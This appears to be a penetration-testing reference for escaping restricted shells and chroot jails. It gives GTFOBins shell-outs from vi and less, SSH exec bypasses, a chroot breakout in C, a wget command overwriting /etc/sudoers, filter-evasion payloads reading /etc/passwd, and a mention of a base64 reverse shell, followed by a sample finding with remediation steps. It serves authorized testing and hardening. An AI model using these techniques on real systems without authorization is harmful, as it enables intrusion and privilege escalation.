Escaping restricted/limited shells (rbash, rksh, lshell, chroot jails) and command-execution filters during authorized engagements - using interactive command launchers, environment/PATH abuse, command substitution and quoting/encoding tricks, SSH/SCP exec, GTFOBins, and language interpreters to regain a full shell.
Escaping restricted/limited shells (rbash, rksh, lshell, chroot jails) and command-execution filters during authorized engagements - using interactive command launchers, environment/PATH abuse, command substitution and quoting/encoding tricks, SSH/SCP exec, GTFOBins, and language interpreters to regain a full shell.
How to CONFIRM: a previously "command not found" binary (e.g. id, cat) now runs.
GTFOBins shell-out from any allowed binary — if the menu lets you run vi, less, man, awk, find, ed, etc., spawn a shell from inside it.
:set shell=/bin/sh # inside vi/vim, then:
:shell
How to CONFIRM: search the binary on https://gtfobins.github.io/ for the "Shell" property, then verify you reach an unrestricted prompt.
chroot escape needs root inside the jail — two chroots cannot coexist on Linux, so a root-owned process can chroot into a new dir while staying outside it.
// gcc break_chroot.c -o break_chroot ; run inside the jail as root
mkdir("chroot-dir",0755); chroot("chroot-dir");
for(int i=0;i<1000;i++) chdir(".."); chroot("."); system("/bin/bash");
How to CONFIRM: after running, ls / shows the real root filesystem (e.g. /etc/shadow present), not the jail.
Write to a writable+executable path, or overwrite config — when red/vi can write, drop /bin/bash content into an executable path, or overwrite sudoers.
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers # if writable
Workflow
Step 1: Profile the jail
echo$SHELL# what restricted shell are we inecho$PATH# which dirs are allowedenv ; export ; pwd# exported vars, current direcho /home/* # globbing still lists dirs even if ls is blockedecho$0# confirm the shell binary (rbash vs bash)
Step 2: Try the cheapest escapes first (SSH / PATH / allowed binary)
# Re-login bypassing the restricted shell entirely
ssh -t user@<IP> bash
ssh user@<IP> -t "bash --noprofile -i"# Reset PATH from inside if you are already indeclare -n PATH; export PATH=/bin; bash -i
BASH_CMDS[shell]=/bin/bash; shell -i
# Shell out of an allowed editor/pager (GTFOBins)
vi ; then :set shell=/bin/sh and :shell
Tool that automates several chroot-escape scenarios.
Bashfuscator
Generates obfuscated bash that evades keyword/character filters.
scp / wget
Pull replacement configs (e.g. overwrite /etc/sudoers) when paths are writable.
Common Scenarios
Scenario 1: rbash jump host escaped via SSH exec
An SSH account drops into rbash with a locked PATH. Reconnecting with ssh user@host -t "bash --noprofile -i" lands an unrestricted bash, confirmed by echo $0 returning bash and cd / working.
Scenario 2: Menu allows only less, escaped via GTFOBins
A restricted appliance lets the operator view logs with less. From the pager, !/bin/sh (a GTFOBins "Shell" primitive) opens a full shell as the service account, enabling further enumeration.
Scenario 3: Web command injection with filtered spaces/keywords
A web parameter reaches system() but strips spaces and the word cat. {cat,/etc/passwd} and who$@ami smuggle the commands past the filter, and bash<<<$(base64 -d<<<...) runs a base64-encoded reverse shell.
Output Format
## Restricted Shell Bypass Finding
**Environment**: SSH account 'support' on jump-01 (restricted shell: rbash)
**Severity**: High
**Finding**: Restricted shell can be escaped to a full interactive shell
**Evidence**:
- Login drops into rbash (`echo $0` -> rbash; `cd /` -> "restricted")
- `ssh support@jump-01 -t "bash --noprofile -i"` -> full bash
- Post-escape: `id` -> uid=1003(support); `cat /etc/passwd` readable
**Impact**: The restricted account provides unrestricted command execution on the jump host, defeating the intended containment and enabling lateral movement and local privilege-escalation enumeration.
**Recommendation**:
1. Disable command/pseudo-tty execution for restricted accounts (`ForceCommand`, no `-t` shell) and set `PermitTTY no` where appropriate.
2. Remove shell-capable binaries (vi/less/awk/find with -exec) from the restricted PATH, or replace with no-shell wrappers.
3. Lock PATH and shell builtins; do not rely on chroot alone for untrusted-root containment.
4. Prefer purpose-built restricted environments (forced commands, containers, MFA) over rbash.
